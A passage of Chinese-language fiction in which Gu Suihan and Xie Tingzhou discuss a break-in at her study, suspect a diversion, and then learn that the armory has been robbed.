顾岁寒不知为何有些心虚,先行移开了目光,看了一圈场地里别的棋子们,似乎都没有什么异状。再看回谢停舟时,他已经把中衣穿了回去,正在系外面罩袍的系带。 顾岁寒心说这人系系带的样子还怪温顺的,一边收回目光看向了旁边的蒋奚。蒋奚摇了摇头,表示目前场中的人没有异样。 她微微放下心来。不管怎么说,今晚在场的人与韩玉青应该都没有瓜葛,未必不算是连日来的坏消息中的一个好消息。 但这也从另一个方面说明了,今晚来她房间里翻东西的人身份并不像她猜测的那样简单。顾岁寒挥挥手示意众人可以回到各自岗位,一边低头默默地往书房里走。还没走到门口,她忽然听见了另一道追上来的脚步声。回头看去,竟是谢停舟。 顾岁寒用眼神表达了自己的疑惑。谢停舟追上来后在她面前站定,才开口问:“执棋说阁里遭窃,是怎么一回事?” 顾岁寒这才想起来今天她匆匆把人都叫过来又莫名解散,中途一个理由都没有解释,未免让人一头雾水,连忙简要地把晚上她回来之后见到的情形和他说了一番,还把书房门推开,领着人进去证明自己所言非虚。 谢停舟看着一室乱象,不由得皱起眉:“执棋房间里的东西都没丢?” 顾岁寒点头:“是。我对房间里放的物品都一清二楚,位置移动大了都能察觉。房间里东西都没丢,只是被人翻过,这我还是能保证的。” 谢停舟追问:“那被翻阅的东西有什么共同点吗?” 顾岁寒这会摇头:“没有。有竹简有书册,甚至还有画轴,里面记载的内容也各不相同,没有什么规律。” 谢停舟沉吟道:“我记得阁里对什么材质的载体记录什么类型的信息都有要求?” “对,”顾岁寒点头,“竹简便宜但笨重,一般就记录一些名册还有术法详解这类不会往阁外带的内容,书册价贵但轻便,所以一般记录情报这类还要往上呈送的内容。” 谢停舟不语,倒是顾岁寒说完之后很快反应了过来:“也就是说,这个人对阁里记录东西的规矩压根不清楚,很有可能根本不是阁里的人!” 谢停舟补充:“还有一种可能,就是他只是想翻乱书房来引起你的注意。” 一种不祥的预感油然而生。顾岁寒看着他的眼睛,脱口而出:“……他是声东击西!” 话音刚落,门外就传来哒哒的脚步声。书房的门还没来得及关,顾岁寒回头,看见小八扶着门框,气喘吁吁道:“执棋!武器库被人盗了!”